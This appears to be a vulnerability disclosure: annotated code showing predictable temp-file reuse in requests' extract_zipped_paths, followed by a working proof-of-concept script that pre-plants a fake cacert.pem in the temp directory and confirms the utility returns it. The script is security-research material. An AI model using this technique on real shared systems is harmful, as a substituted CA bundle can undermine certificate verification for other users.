# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1]) 

# Insecure reuse of existing file
if not os.path.exists(extracted_path):
    # Extraction logic only triggers if file is missing
    ... 

# Returns path to potentially attacker-controlled file
return extracted_path

import os
import tempfile
import zipfile
from requests import utils

# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
    f.write(b"ATTACKER_MALICIOUS_DATA")

# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
    z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")

# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)

# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
    content = f.read()
    print(f"[i] Content read: {content}")

if content == b"ATTACKER_MALICIOUS_DATA":
    print("[!] Vulnerability Confirmed: Insecure file reuse successful.")